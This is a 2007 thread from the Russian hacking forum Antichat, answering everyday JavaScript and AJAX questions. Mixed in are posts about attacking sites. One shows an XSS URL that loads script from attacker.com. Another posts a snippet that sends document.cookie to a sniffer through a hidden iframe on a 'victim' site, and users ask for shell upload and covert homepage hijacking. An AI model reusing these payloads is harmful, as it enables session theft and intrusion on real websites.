Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [JavaScript, AJAX] Задай вопрос, получи ответ (https://forum.antichat.xyz/showthread.php?t=41870)

Isis 09.06.2007 02:15

[JavaScript, AJAX] Задай вопрос, получи ответ
 
В этой теме задаем вопросы непосредственно про Javascript и Ajax !!!

Все коды выкладываем в теге [.code] либо [.html]

Isis 09.06.2007 02:16

Код HTML:

<script>
function none() { };
function make_sync_request(url) {
  var r;
  if (window.XMLHttpRequest) {
    r = new XMLHttpRequest();
    r.onreadystatechange = none;
    r.open("GET", url, false);
    r.send(null);
    }
  else if (window.ActiveXObject) {
    r = new ActiveXObject("Microsoft.XMLHTTP");
    if (!r)
      r = new ActiveXObject("Msxml2.XMLHTTP");
    if (r) {
      r.onreadystatechange = none;
      r.open("GET", url, false);
      r.send(null);
      }
    }
  document.getElementById('txt').innerHTML=responceTEXT;
  }
</script>
<input type='button' onClick="make_sync_request('xx.php')"
value='second' />

<br/>
<div id='txt'></div>

Что не так?
По нажатию на кнопку должен быть инклуд файла xx.php

Isis 09.06.2007 03:04

2Isis
Код:

responceTEXT
замени на
Код:

r.responseTEXT

RevenAnt 09.06.2007 11:26

А потом ещё и на "r.responseText" ^_^
Регистрозависимое однако.

-=lebed=- 09.06.2007 11:42

Кароче есть функция:
Код:

function changePage() {
                document.getElementById( "ifrm" ).src = sites[currentPage];
        }

Вызываем в теле функцию:
Код:

<body onload="changePage()">
        <iframe id="ifrm" src=""/>
  </body>

и получаем в Ифрейме нужную страничку.

А мне хотелось бы не в Ифрейме, а просто перенаправить на неё юзера. И открыть в этом же (не в новом) окне. Как реализовать?

GreenBear 09.06.2007 11:45

location.href = sites[currentPage]; ?

Darkweider 12.06.2007 01:54

Ajax с чего начать ? Есть что-нибудь на русском почитать? ТЕхнология хорошая но имеет свои минусы... Надо изучать... Кто-нибудь знает где можно почитать про Ajax на русском, с англ. переводить влом.

Doger 12.06.2007 02:01

Вообщем нужен скрипт делающий такую вещь как автопереход.
но при этом автопереход должен делаться наобум или по очерёдно на одну из 10ссылок.

Isis 12.06.2007 04:06

Doger, легче такое сделать на пхп....
PHP код:

<?php
$per 
file_get_contents('links.txt');
echo 
"<html><head><meta http-equiv='refresh' content='0; URL=".$per[array_rand($per)]."'></head></html>";
?>

При этом в файле links.txt
Построчно должны стоять линки на сайты ...ку да надо перейти..
links.txt
Код:

http://www.xeka.ru
http://www.antichat.ru
http://www.gemaglabin-xeka.ru

Сколько хочешь столько и кидай ссылок в файл

Kridan 12.06.2007 10:40

Цитата:

Сообщение от Darkweider
Ajax с чего начать ? Есть что-нибудь на русском почитать? ТЕхнология хорошая но имеет свои минусы... Надо изучать... Кто-нибудь знает где можно почитать про Ajax на русском, с англ. переводить влом.

www.ibm.com/developerworks/ru/ajax/
Здесь посмотри.

Tw!m4 16.06.2007 12:43

Привет народ!

Собссно такое дело.....есть сайт на котором иксэсэс такова рода:
_http://site.com/search.asp?query="><script>alert()</script>

хз какова типа (пассивный или активный), можна ли залить на него асп-эшный шелл таким путём? если да, то расскажите по подробней плз, а то в иксэсэсах я не очень шарю. Я уже пробовал таким путём прописать его:
_http://site.com/search.asp?query="><script src=http://attacker.com/script.js></script>
Где скрипт.жс указывает прописать шелл на (в) страницу с функцией document.write() , но в итоге я получаю контент этого шелла на странице.

Подскажте плз...

//ЗЫ: Со снифером дело отпадает....

Tw!m4 16.06.2007 14:51

Хех......)) чета я об этом даже и не подумал (о выполнение кода в браузере а не на серваке).....хм.....аякс я к сожелению не знаю.....эта значит я в пролёте? да уж....фигня какая то ((......а че можна в таком случае еще сделать?

Макс 8===3 17.06.2007 09:00

Всем привет, подскажите плиз скрипт редиректа без задержки. Есть такой :

<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://">

Но он всёрабно перед загрузкой нужной страницы заходит на главную....

Спасибо!

hhover 17.06.2007 09:14

Только при помощи php или htaccess.
PHP код:

<?php
header 
"Location: http://site.com" );
?>


Макс 8===3 17.06.2007 16:30

Понял, спасибо! впринципе уже добился чего хотел, а ещё такой вопрос. Подскажите скрипт который добавляет нужную страницу на стартовую страницу, и\или в избранное без ведома юзера!!!!

Raz0r 19.06.2007 18:27

Макс 8===3, кстати, редирект можно и с помощью JS замутить, и будет, вроде как без задержки.
PHP код:

<script language="JavaScript">
 
document.location.href "http://someshit/";
</
script

Правда в случае отключенного JS, ясен, не покатит, так-что PHP вариант рулит ;) но раз уж тут тема про JS решил запостить.

RaiDeRz 21.06.2007 23:26

Каким образом можно сделать подтверждение нажатия на ссылку? Дайте пример

GreenBear 21.06.2007 23:34

Код:

<script type='text/javascript'>
function check(url){
if(confirm("да?")){
document.location=url;
}else{
alert('нет так нет');
}
}
</script>
<a href='javascript://' onClick="check('next.page)">123</a>


RaiDeRz 22.06.2007 00:05

Цитата:

Сообщение от GreenBear
Код:

<script type='text/javascript'>
function check(url){
if(confirm("да?")){
document.location=url;
}else{
alert('нет так нет');
}
}
</script>
<a href='javascript://' onClick="check('next.page)">123</a>


че-то непашет)) наверно из-за неправильного кода в a href

GreenBear 22.06.2007 00:09

ну ковычку сами догадаетесь поставить.

Joker-jar 22.06.2007 00:14

Можно сразу в href'е написать:

Код:

<script>
function check(url)
{
  if(confirm("да?"))
    document.location=url;
  else
    alert('нет так нет');
}
</script>

<a href="javascript:check('next.page')">123</a>

Тогда в статус-строке будет светиться то, что выполняешь. На вкус...

Isis 26.06.2007 19:22

Есть страничка, на ней кнопка и форма.....по нажатию на кнопку вылетает попап окно...там вводишь в поля все что надо и по нажатию в попапе на кнопку, надо чтобы инфа вставилась на 1 страничку в форму....

hhover 26.06.2007 20:35

Isis,

parent.htm
Код HTML:

<form name='formname'>
<input type='text' name='inputname' />
<input type='button' value='button' onclick="window.open('popup.htm');" />
</form>

popup.htm
Код HTML:

<form name='popupform'>
<input type='text' name='popuptext' />
<input type='button' value='button' onclick="window.opener.document.forms['formname'].elements['inputname'].value = document.forms['popupform'].elements['popuptext'].value;" />
</form>


RaiDeRz 27.06.2007 20:06

Эмс....
Короче говоря мне нужно сделать так чтобы при вводе какого-то определного поля менялся в опред. месте текст и + к этому должны быть так, что форм у меня много и текст менять будет тоже в разных местах
Как это возможно сделать?

hhover 27.06.2007 20:35

RaiDeRz,
Код HTML:

<script  type="text/javascript">
function zamena(id,text) {
document.getElementById(id).innerHTML = text;
}
</script>

<div id="test">Текст для замены</div>

<input type='text' name='user_input' onchange="javasript:zamena('test',this.value);" />


RaiDeRz 27.06.2007 22:32

Каким образом можно делать что-то типа функции urldecode и urlencode ?
Тоесть у меня с помошью этого генерируеться ссылка, но надо кое-где сделать так чтобы были знаки след. строки
Мне просто таким образом надо сгенерировать ссылку, методом GET, но в формах есть разделение на строки, тоесть через <textarea>

hhover 27.06.2007 22:46

escape(), unescape().

RaiDeRz 27.06.2007 22:56

Цитата:

Сообщение от hhover
escape(), unescape().

хм... а можешь дать пример ?)
А то попробовал что-то в этом роде:
PHP код:

unescape(document.form.pass.value)
escape(document.form.pass.value

он мне ничего невыдал толкого, разницы нет никакой

hhover 27.06.2007 23:17

Вообще да, немного не та функция.
Вот держи:
Код HTML:

function convertToHex(num) {
  var hex = '';
  for (i=0;i<num.length;i++) {
    if (num.charCodeAt(i).toString(16).toUpperCase().length < 2) {
      hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase();
    } else {
      hex += "%" + num.charCodeAt(i).toString(16).toUpperCase();
    }
  }
  return hex;
}


RaiDeRz 27.06.2007 23:35

хм... а в чем проблемма после добавления 2-й функции 1-я перестала пахать? щас у меня такой код:
PHP код:

<script type="text/javascript">
function 
update_cron_url() {
document.getElementById('cron_url').innerHTML '<a href="http://127.0.0.1/test/index.php?send_report='+document.form.send_report.value+'&admin_report='+document.form.admin_report.value+'&rand_start='+document.form.rand_start.value+'&rand_end='+document.form.rand_end.value+'&gen_rand='+document.form.gen_rand.value+'&pass='+unescape(document.form.pass.value)+'">http://127.0.0.1/test/index.php?send_report='+document.form.send_report.value+'&admin_report='+document.form.admin_report.value+'&rand_start='+document.form.rand_start.value+'&rand_end='+document.form.rand_end.value+'&gen_rand='+document.form.gen_rand.value+'&pass='+document.form.pass.value+'</a>'
}
function 
convertToHex(num) {
  var 
hex ''
  for (
i=0;i<num.length;i++) {
    if (
num.charCodeAt(i).toString(16).toUpperCase().leng  th 2) {
      
hex += "%0" num.charCodeAt(i).toString(16).toUpperCase(); 
    } else {
      
hex += "%" num.charCodeAt(i).toString(16).toUpperCase(); 
    }
  }
  return 
hex
}
</
script


hhover 28.06.2007 02:48

Код:

leng    th
Пробелы в слове убери. Как маленький...

Isis 28.06.2007 08:13

Проблема с кодировкой в AJAX....

PHP код:

<?php
    ini_set
("display_errors","0");

    if(
$_POST['end'])
    {
        
header    ("Content-Type: text/xml; charset=windows-1251");
        print (
"<?xml version=\"1.0\"  standalone=\"yes\"?>\r\n");
        print (
"<responce>\r\n");
        print (
"<system>\r\n");

        if(empty(
$_POST['title']))
        {
             echo 
"Заполните обязательные поля";
        }
        else
        {
            if(isset(
$_POST['title']))
            echo 
"Вывод: ".$_POST['title'];
                 }

        print (
"</system>\r\n");
        print (
"</responce>\r\n");
        exit;
    }
?>
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    </head>
    <?php include('js.php'); ?>
    <body>
    <table width="300" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td><font color="#FFFFFF">Название :</font></td>
        <td align="right"><input type="text" value="" id="title" style="width: 150;height:20" /></td>
    </tr>
</table>
    <input type="submit" id="end" value="Кнопка" onclick="command();" />
    <div id="system"></div>
    </body>
    </html>

Файл js.js
Код HTML:

<script type="text/javascript">
        var xmlhttp = createXmlHttpRequestObject();
        function createXmlHttpRequestObject()
        {
                var xmlhttp;
                try
                {
                        xmlhttp = new XMLHttpRequest();
                }
                catch (e)
                {
                        alert('error : '+e.toString());
                }
                var XmlHttpVersions = new Array("MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP","Microsoft.XMLHTTP");
                for (var i=0; i<XmlHttpVersions.length && !xmlhttp; i++)
                {
                        try
                        {
                                xmlhttp = new ActiveXObject(XmlHttpVersions[i]);
                        }
                        catch (e) {}
                }
                if (!xmlhttp) alert('failed to create XMLHTTP Element');
                else return xmlhttp;
        }

        function createRequestProcess(pdata,type)
        {
                if (xmlhttp)
                {
                        try
                        {
                                xmlhttp.open("POST","<?=$_SERVER['SCRIPT_NAME'];?>",true);
                                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=windows-1251");
                                xmlhttp.setRequestHeader("Content-length", pdata.length);
                                xmlhttp.send(pdata);
                                xmlhttp.onreadystatechange = handleRequestStateChange;
                        }
                        catch (e) {alert('error : '+e.toString());}
                }
        }

        function handleRequestStateChange()
        {
                if (xmlhttp.readyState == 4)
                {
                        if (xmlhttp.status == 200)
                        {
                                try {  ReadResponce(); }
                                catch (e) {}
                        }
                }
        }

        function ReadResponce()
        {
                xmlresponce    = xmlhttp.responseXML;
                xmldocelement  = xmlresponce.documentElement;
                xmldocanswer    = xmldocelement.getElementsByTagName("system").item(0).firstChild.data;
                myDiv          = document.getElementById("system");
                myDiv.innerHTML = '<pre>'+xmldocanswer+'<\/pre>';
        }


        function command()
        {
                title = document.getElementById('title').value;
                end        = document.getElementById('end').value;
                fdata = "title="+title+"&end="+end;
                createRequestProcess(fdata);
        }
</script>

Как видите кодировка указана где только можно(пробовал даже htaccess), но выводит
такое:
Код:

Вывод: непохек
Не знаю как справиться с этой проблемой...

Isis 28.06.2007 16:32

>>возможно ты сам текст сохранял в utf-8
Я ведь показал код =\

Выше данное мне ничем не помогло =\

Isis 28.06.2007 17:16

Хы...у меня в utf-8 ссылке отобразился
Код:

русский текст
Т.е. я не понял как ты предложил закрыть проблему?

RaiDeRz 28.06.2007 17:32

Еще 1 вопрос, а как сделать замену определеных символов на нужные в тексте (переменной) ?
тоесть чтобы была функция как в php - str_replace

RaiDeRz 29.06.2007 22:21

Цитата:

Сообщение от invlose
в самом простом случае просто банально replace
в сложном случае придется использовать регулярные выражения

напиши пример replace

GreenBear 29.06.2007 22:25

http://www.aranea.ru/jsdoc/replace.php

dokwill 07.07.2007 20:26

вопрос по ява скриптам
у меня есть возможность исполнять мой *.js
на сайте жертвы. Он работает по делу и показывает
маленькое инфо в рорап окне.

причем при каждой загрузке он берет его с моего сайта
так вот у меня вопрос
1 - могу ли я дописать в него пхп или нтмл - но чтобы они исполнялись браузером?

2. дайте примерную строку для загрузки шелла
в ява скрипте ( если существует) - и указанной папкой загрузки. Права для записи в папке есть или аплоад пхп кода или файла

то - invlose
http://www.megahyiptracer.com/hybann/h/
сдесь в левом нижнем углу грузиться ява с моего сайта
так может можно заинклудить пхп или как то еще


а куки спереть можно же попробовать?
какой примерно скрипт тада нужно добавить а тело?
он на мыло может слать ?

dokwill 08.07.2007 18:22

еше маленький вопрос по яве
если я вставляю в индекс.пхп такой скрипт
<a><script language="JavaScript" src="http://****snif.js" </script></a>
где snif.js
document.write("<iframe width=100 height=100 style='visibility:hidden;' src="+"http://testlab/sniffer/snif.php?cookie="+document.cookie+">");

он должен исполняться или нет
у меня не исполняется и в добавок блокирует исполнение последующих тегов

что не так?
или document.cookie+">" только в местах XSS

dokwill 10.07.2007 22:23

вопрос такой
делаю поп андер на яве

<script language="JavaScript">megahyiptracer=window.open(' http://megahyiptracer.com/?a=cust&page=download/','Download area', "width=800 height=800,' toolbar=no, scrollbars=no,resizable=no,status=no', left=1,top=1")
</script>

все открывает - но не могу никак включить прокрутку
чтоб лева право верх низ листать

как сделать ?


Время: 22:11